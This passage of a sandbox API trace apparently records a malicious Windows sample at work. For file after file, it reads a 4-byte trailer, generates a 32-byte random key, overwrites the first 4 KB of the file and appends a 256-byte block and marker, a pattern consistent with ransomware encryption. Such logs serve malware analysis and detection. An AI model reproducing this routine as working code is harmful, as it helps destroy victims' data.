GetProcessHeap () returned 0x540000 [0089.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.756] GetProcessHeap () returned 0x540000 [0089.757] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.757] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.757] WriteFile (in: hFile=0xa0c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.757] WriteFile (in: hFile=0xa0c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.757] GetProcessHeap () returned 0x540000 [0089.757] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.757] GetProcessHeap () returned 0x540000 [0089.757] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.757] GetProcessHeap () returned 0x540000 [0089.757] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.757] CloseHandle (hObject=0xa0c) returned 1 [0089.759] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 165 [0089.759] SetFilePointerEx (in: hFile=0xa10, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.760] ReadFile (in: hFile=0xa10, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.760] SetFilePointerEx (in: hFile=0xa10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.760] GetProcessHeap () returned 0x540000 [0089.760] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.760] GetProcessHeap () returned 0x540000 [0089.760] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.760] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.760] GetProcessHeap () returned 0x540000 [0089.760] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.760] ReadFile (in: hFile=0xa10, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.817] SetFilePointerEx (in: hFile=0xa10, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.817] WriteFile (in: hFile=0xa10, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.818] GetProcessHeap () returned 0x540000 [0089.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.818] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.819] GetProcessHeap () returned 0x540000 [0089.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.819] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.820] GetProcessHeap () returned 0x540000 [0089.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.821] GetProcessHeap () returned 0x540000 [0089.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.821] GetProcessHeap () returned 0x540000 [0089.822] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.822] SetFilePointerEx (in: hFile=0xa10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.822] WriteFile (in: hFile=0xa10, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.822] WriteFile (in: hFile=0xa10, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.822] GetProcessHeap () returned 0x540000 [0089.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.823] GetProcessHeap () returned 0x540000 [0089.823] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.823] CloseHandle (hObject=0xa10) returned 1 [0089.824] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 166 [0089.824] SetFilePointerEx (in: hFile=0xa14, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.824] ReadFile (in: hFile=0xa14, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.824] SetFilePointerEx (in: hFile=0xa14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.824] GetProcessHeap () returned 0x540000 [0089.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.824] GetProcessHeap () returned 0x540000 [0089.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.824] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.824] GetProcessHeap () returned 0x540000 [0089.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.824] ReadFile (in: hFile=0xa14, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.874] SetFilePointerEx (in: hFile=0xa14, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.874] WriteFile (in: hFile=0xa14, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.874] GetProcessHeap () returned 0x540000 [0089.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.875] GetProcessHeap () returned 0x540000 [0089.875] 